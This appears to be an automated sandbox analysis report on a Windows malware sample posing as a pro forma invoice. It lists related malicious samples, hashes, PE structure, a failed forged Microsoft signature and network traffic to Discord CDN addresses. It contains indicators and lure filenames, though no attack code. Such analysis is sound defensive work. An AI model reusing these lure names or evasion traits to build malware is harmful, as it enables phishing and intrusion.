	Piraeus Bank_swift_.exe	Get hash	malicious	Browse	162.159.128.233
	Q21rQw2C4o.exe	Get hash	malicious	Browse	162.159.137.232
	Q21rQw2C4o.exe	Get hash	malicious	Browse	162.159.128.233
	tzjEwwwbqK.exe	Get hash	malicious	Browse	162.159.136.232
	DHL_Express_Consignment_Details.exe	Get hash	malicious	Browse	162.159.138.232
	New Microsoft Office Excel Worksheet.xlsx	Get hash	malicious	Browse	162.159.136.232
	Komfkim_Signed_.exe	Get hash	malicious	Browse	162.159.135.232
	oUI0jQS8xQ.exe	Get hash	malicious	Browse	162.159.137.232
	USD67,884.08_Payment_Advise_9083008849.exe	Get hash	malicious	Browse	162.159.136.232
	USD55,260.84_PAYMENT_ADVICE_NOTE_FROM_20.11.2020.EXE	Get hash	malicious	Browse	162.159.138.232
cdn.discordapp.com	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	162.159.129.233
	OVERDUE INVOICE.xls	Get hash	malicious	Browse	162.159.129.233
	MT103---USD42880.45---20201127--dbs--9900.exe	Get hash	malicious	Browse	162.159.129.233
	Vessel details.doc	Get hash	malicious	Browse	162.159.135.233
	RFQ For TRANS ANATOLIAN NATURAL GAS PIPELINE (TANAP) - PHASE 1(Package 2).exe	Get hash	malicious	Browse	162.159.130.233
	Scan 25112020 pdf.exe	Get hash	malicious	Browse	162.159.135.233
	Piraeus Bank_swift_.exe	Get hash	malicious	Browse	162.159.129.233
	Q21rQw2C4o.exe	Get hash	malicious	Browse	162.159.130.233
	Q21rQw2C4o.exe	Get hash	malicious	Browse	162.159.133.233
	tzjEwwwbqK.exe	Get hash	malicious	Browse	162.159.130.233
	DHL_Express_Consignment_Details.exe	Get hash	malicious	Browse	162.159.133.233
	New Microsoft Office Excel Worksheet.xlsx	Get hash	malicious	Browse	162.159.129.233
	INV SF2910202.doc	Get hash	malicious	Browse	162.159.135.233
	Komfkim_Signed_.exe	Get hash	malicious	Browse	162.159.129.233
	oUI0jQS8xQ.exe	Get hash	malicious	Browse	162.159.130.233
	USD55,260.84_PAYMENT_ADVICE_NOTE_FROM_20.11.2020.EXE	Get hash	malicious	Browse	162.159.135.233
	NyUnwsFSCa.exe	Get hash	malicious	Browse	162.159.133.233
	1099008FEDEX_090887766.xls	Get hash	malicious	Browse	162.159.129.233
	1099008FEDEX_090887766.xls	Get hash	malicious	Browse	162.159.134.233
	PO#0007507_009389283882873PDF.exe	Get hash	malicious	Browse	162.159.135.233

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	162.159.135.233
	XcOxlmOz4D.exe	Get hash	malicious	Browse	162.159.136.232
	fAhW3JEGaZ.exe	Get hash	malicious	Browse	162.159.136.232
	HIp08HPg20.exe	Get hash	malicious	Browse	104.23.98.190
	case.8920.xls	Get hash	malicious	Browse	104.27.186.55
	case.8920.xls	Get hash	malicious	Browse	172.67.212.16
	OVERDUE INVOICE.xls	Get hash	malicious	Browse	172.67.143.180
	Venom.exe	Get hash	malicious	Browse	104.23.98.190
	PO348578.jar	Get hash	malicious	Browse	104.23.99.190
	MT103---USD42880.45---20201127--dbs--9900.exe	Get hash	malicious	Browse	162.159.129.233
	notif8372.xls	Get hash	malicious	Browse	104.24.117.11
	notif8372.xls	Get hash	malicious	Browse	172.67.222.45
	SecuriteInfo.com.Heur.23770.xls	Get hash	malicious	Browse	104.31.87.226
	2020-11-27-ZLoader-DLL-example-01.dll	Get hash	malicious	Browse	172.67.155.205
	2020-11-27-ZLoader-DLL-example-02.dll	Get hash	malicious	Browse	172.67.155.205
	2020-11-27-ZLoader-DLL-example-03.dll	Get hash	malicious	Browse	104.27.143.240
	SecuriteInfo.com.Heur.23770.xls	Get hash	malicious	Browse	104.31.86.226
	Final_report_2020.html	Get hash	malicious	Browse	104.16.18.94
	norit.dll	Get hash	malicious	Browse	104.31.69.174
	380000_USD_INV_011740_NOV_2020.jar	Get hash	malicious	Browse	104.20.22.46
CLOUDFLARENETUS	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	162.159.135.233
	XcOxlmOz4D.exe	Get hash	malicious	Browse	162.159.136.232
	fAhW3JEGaZ.exe	Get hash	malicious	Browse	162.159.136.232
	HIp08HPg20.exe	Get hash	malicious	Browse	104.23.98.190
	case.8920.xls	Get hash	malicious	Browse	104.27.186.55
	case.8920.xls	Get hash	malicious	Browse	172.67.212.16
	OVERDUE INVOICE.xls	Get hash	malicious	Browse	172.67.143.180
	Venom.exe	Get hash	malicious	Browse	104.23.98.190
	PO348578.jar	Get hash	malicious	Browse	104.23.99.190
	MT103---USD42880.45---20201127--dbs--9900.exe	Get hash	malicious	Browse	162.159.129.233
	notif8372.xls	Get hash	malicious	Browse	104.24.117.11
	notif8372.xls	Get hash	malicious	Browse	172.67.222.45
	SecuriteInfo.com.Heur.23770.xls	Get hash	malicious	Browse	104.31.87.226
	2020-11-27-ZLoader-DLL-example-01.dll	Get hash	malicious	Browse	172.67.155.205
	2020-11-27-ZLoader-DLL-example-02.dll	Get hash	malicious	Browse	172.67.155.205
	2020-11-27-ZLoader-DLL-example-03.dll	Get hash	malicious	Browse	104.27.143.240
	SecuriteInfo.com.Heur.23770.xls	Get hash	malicious	Browse	104.31.86.226
	Final_report_2020.html	Get hash	malicious	Browse	104.16.18.94
	norit.dll	Get hash	malicious	Browse	104.31.69.174
	380000_USD_INV_011740_NOV_2020.jar	Get hash	malicious	Browse	104.20.22.46

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ce5f3254611a8c095a3d821d44539877	STATEMENT OF ACCOUNT.exe	Get hash	malicious	Browse	162.159.135.233
	caw.exe	Get hash	malicious	Browse	162.159.135.233
	6znqz0d1.dll	Get hash	malicious	Browse	162.159.135.233
	INV-FATURA010009.xlsx	Get hash	malicious	Browse	162.159.135.233
	INV-FATURA010009.xlsx	Get hash	malicious	Browse	162.159.135.233
	2zv940v7.dll	Get hash	malicious	Browse	162.159.135.233
	RFQ For TRANS ANATOLIAN NATURAL GAS PIPELINE (TANAP) - PHASE 1(Package 2).exe	Get hash	malicious	Browse	162.159.135.233
	Izezma64.dll	Get hash	malicious	Browse	162.159.135.233
	fuxenm32.dll	Get hash	malicious	Browse	162.159.135.233
	api-cdef.dll	Get hash	malicious	Browse	162.159.135.233
	Scan 25112020 pdf.exe	Get hash	malicious	Browse	162.159.135.233
	tarifvertrag_igbce_weihnachtsgeld_k#U00fcndigung.js	Get hash	malicious	Browse	162.159.135.233
	tarifvertrag_igbce_weihnachtsgeld_k#U00fcndigung.js	Get hash	malicious	Browse	162.159.135.233
	Piraeus Bank_swift_.exe	Get hash	malicious	Browse	162.159.135.233
	FxzOwcXb7x.exe	Get hash	malicious	Browse	162.159.135.233
	Izipubob.dll	Get hash	malicious	Browse	162.159.135.233
	nivude1.dll	Get hash	malicious	Browse	162.159.135.233
	Accesshover.dll	Get hash	malicious	Browse	162.159.135.233
	data7195700.xls	Get hash	malicious	Browse	162.159.135.233
	PAYMENT COPY.xls	Get hash	malicious	Browse	162.159.135.233

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.110241254206797
TrID:	Win32 Executable (generic) a (10002005/4) 99.24% InstallShield setup (43055/19) 0.43% Win32 Executable Delphi generic (14689/80) 0.15% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	PRO FORMA INVOICE - - MAGAUTKCP (24-Nov-20).exe
File size:	1218752
MD5:	b3cb5b2bc5c3033b1008ed7f7f6312db
SHA1:	3fd8e55a12bdf35200ee43e210951825ad0293d3
SHA256:	042ef647920e37e8da471c1bfbc36490ee6bf93ceee75cd90161823ae74d458b
SHA512:	3724f52089d06f1260f1b6c0ddf73326d44e5b16a12fc99b868c831e481b1edab29fac4695f64e222679d936789455f6c2ce38e5cdfc595d73352faafd321836
SSDEEP:	24576:3RVtvQ+csIDccuZGhe1ppCmfwybRm8zQKtALblKCeNRbO+v:3R/ovVcOM1pJwYFzQ0t
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	b2989692969ed26a

Static PE Info

General
Entrypoint:	0x47f698
Entrypoint Section:	CODE
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, UP_SYSTEM_ONLY, LARGE_ADDRESS_AWARE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	191f8035b5c11d5de8fd20cfdada0df2

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	8/18/2016 10:17:17 PM 11/2/2017 9:17:17 PM
Subject Chain	CN=Microsoft Corporation, OU=MOPR, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	3B66EDDAB891B79FEDB150AC2C59DB3A
Thumbprint SHA-1:	98ED99A67886D020C564923B7DF25E9AC019DF26
Thumbprint SHA-256:	57DD481BF26C0A55C3E867B2D6C6978BEAF5CE3509325CA2607D853F9349A9FF
Serial:	330000014096A9EE7056FECC07000100000140

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0047F418h
call 00007F07A4909C35h
push 0000001Eh
pop ebx
push eax
mov eax, dword ptr [00481FE8h]
mov eax, dword ptr [eax]
call 00007F07A4960A39h
mov eax, dword ptr [00481FE8h]
mov eax, dword ptr [eax]
mov edx, 0047F708h
call 00007F07A4960628h
mov ecx, dword ptr [00481F6Ch]
mov eax, dword ptr [00481FE8h]
mov eax, dword ptr [eax]
mov edx, dword ptr [0047EF20h]
call 00007F07A4960A28h
mov eax, dword ptr [00481FE8h]
mov eax, dword ptr [eax]
mov byte ptr [eax+5Bh], 00000000h
mov eax, dword ptr [00481FE8h]
mov eax, dword ptr [eax]
call 00007F07A4960A91h
call 00007F07A4907724h
add byte ptr [eax], al
add bh, bh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x85000	0x24ca	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x93000	0x97c00	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x124400	0x54c0	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8a000	0x8f34	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x89000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
CODE	0x1000	0x7e714	0x7e800	False	0.523837002841	data	6.52444996172	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
DATA	0x80000	0x219c	0x2200	False	0.390969669118	data	4.54957969266	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
BSS	0x83000	0x1135	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.idata	0x85000	0x24ca	0x2600	False	0.354851973684	data	4.81311536495	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.tls	0x88000	0x40	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rdata	0x89000	0x18	0x200	False	0.05078125	data	0.184150656087	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.reloc	0x8a000	0x8f34	0x9000	False	0.559760199653	data	6.63092268857	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x93000	0x97c00	0x97c00	False	0.509374678233	data	6.97981181424	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0x93c0c	0x134	data
RT_CURSOR	0x93d40	0x134	data
RT_CURSOR	0x93e74	0x134	data
RT_CURSOR	0x93fa8	0x134	data
RT_CURSOR	0x940dc	0x134	data
RT_CURSOR	0x94210	0x134	data
RT_CURSOR	0x94344	0x134	data
RT_BITMAP	0x94478	0x1d0	data
RT_BITMAP	0x94648	0x1e4	data
RT_BITMAP	0x9482c	0x1d0	data
RT_BITMAP	0x949fc	0x1d0	data
RT_BITMAP	0x94bcc	0x1d0	data
RT_BITMAP	0x94d9c	0x1d0	data
RT_BITMAP	0x94f6c	0x1d0	data
RT_BITMAP	0x9513c	0x1d0	data
RT_BITMAP	0x9530c	0x1d0	data
RT_BITMAP	0x954dc	0x1d0	data
RT_BITMAP	0x956ac	0xe8	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0x95794	0x10a8	data	English	United States
RT_ICON	0x9683c	0x25a8	data	English	United States
RT_ICON	0x98de4	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 240, next used block 251658240	English	United States
RT_ICON	0x9d00c	0x5488	data	English	United States
RT_ICON	0xa2494	0xac5c	data	English	United States
RT_DIALOG	0xad0f0	0x52	data
RT_STRING	0xad144	0x314	data
RT_STRING	0xad458	0x1dc	data
RT_STRING	0xad634	0x154	data
RT_STRING	0xad788	0x3a4	data
RT_STRING	0xadb2c	0x4bc	data
RT_STRING	0xadfe8	0xc0	data
RT_STRING	0xae0a8	0xfc	data
RT_STRING	0xae1a4	0x120	data
RT_STRING	0xae2c4	0x4c0	data
RT_STRING	0xae784	0x350	data
RT_STRING	0xaead4	0x39c	data
RT_STRING	0xaee70	0x3b0	data
RT_STRING	0xaf220	0xf0	data
RT_STRING	0xaf310	0xc0	data
RT_STRING	0xaf3d0	0x2d8	data
RT_STRING	0xaf6a8	0x494	data
RT_STRING	0xafb3c	0x3ac	data
RT_STRING	0xafee8	0x2d4	data
RT_RCDATA	0xb01bc	0x10	data
RT_RCDATA	0xb01cc	0x350	data
RT_RCDATA	0xb051c	0x7859a	GIF image data, version 89a, 577 x 188	English	United States
RT_RCDATA	0x128ab8	0x1f39	Delphi compiled form 'T__882643936'
RT_GROUP_CURSOR	0x12a9f4	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x12aa08	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x12aa1c	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x12aa30	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x12aa44	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x12aa58	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_CURSOR	0x12aa6c	0x14	Lotus unknown worksheet or configuration, revision 0x1
RT_GROUP_ICON	0x12aa80	0x4c	data	English	United States

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	lstrcpyA, lstrcmpiA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetSystemInfo, GetStringTypeExA, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, GetACP, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, DeleteFileA, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, Polygon, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetTextAlign, GetSystemPaletteEntries, GetStockObject, GetROP2, GetPolyFillMode, GetPixelFormat, GetPixel, GetPaletteEntries, GetObjectA, GetMapMode, GetGraphicsMode, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetDCPenColor, GetDCBrushColor, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBkMode, GetBkColor, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
user32.dll	CreateWindowExA, WindowFromPoint, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, ShowCaret, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OpenClipboard, OffsetRect, OemToCharA, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, HideCaret, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextA, DrawStateA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, CloseClipboard, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopyInd, VariantCopy, VariantClear, VariantInit
ole32.dll	CoUninitialize, CoInitialize
oleaut32.dll	GetErrorInfo, SysFreeString
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_SetImageCount, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create
shell32.dll	ShellExecuteA
winmm.dll	sndPlaySoundA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2020 10:31:07.618732929 CET	49732	443	192.168.2.4	162.159.137.232
Nov 28, 2020 10:31:07.635231018 CET	443	49732	162.159.137.232	192.168.2.4
Nov 28, 2020 10:31:07.635396004 CET	49732	443	192.168.2.4	162.159.137.232
Nov 28, 2020 10:31:07.636028051 CET	49732	443	192.168.2.4	162.159.137.232
Nov 28, 2020 10:31:07.652529955 CET	443	49732	162.159.137.232	192.168.2.4
Nov 28, 2020 10:31:07.652559996 CET	443	49732	162.159.137.232	192.168.2.4
Nov 28, 2020 10:31:07.652657032 CET	49732	443	192.168.2.4	162.159.137.232
Nov 28, 2020 10:31:07.731426954 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:07.747754097 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:07.747883081 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:07.797060966 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:07.813452005 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:07.815418959 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:07.815448046 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:07.815462112 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:07.815733910 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:07.865027905 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:07.881252050 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:07.897581100 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:07.898933887 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:07.945055008 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.013133049 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.029519081 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057188988 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057210922 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057224035 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057240963 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057255030 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057267904 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057281017 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057291031 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057296991 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057316065 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057327986 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057341099 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057343960 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057358027 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057373047 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057403088 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057410002 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057410002 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057429075 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057446957 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057462931 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057463884 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057482004 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057499886 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057512999 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057518005 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057522058 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057531118 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057547092 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057565928 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057583094 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057595968 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057600975 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057609081 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057614088 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057631016 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057646036 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057662964 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057677984 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.057678938 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.057683945 CET	49733	443	192.168.2.4	162.159.135.233
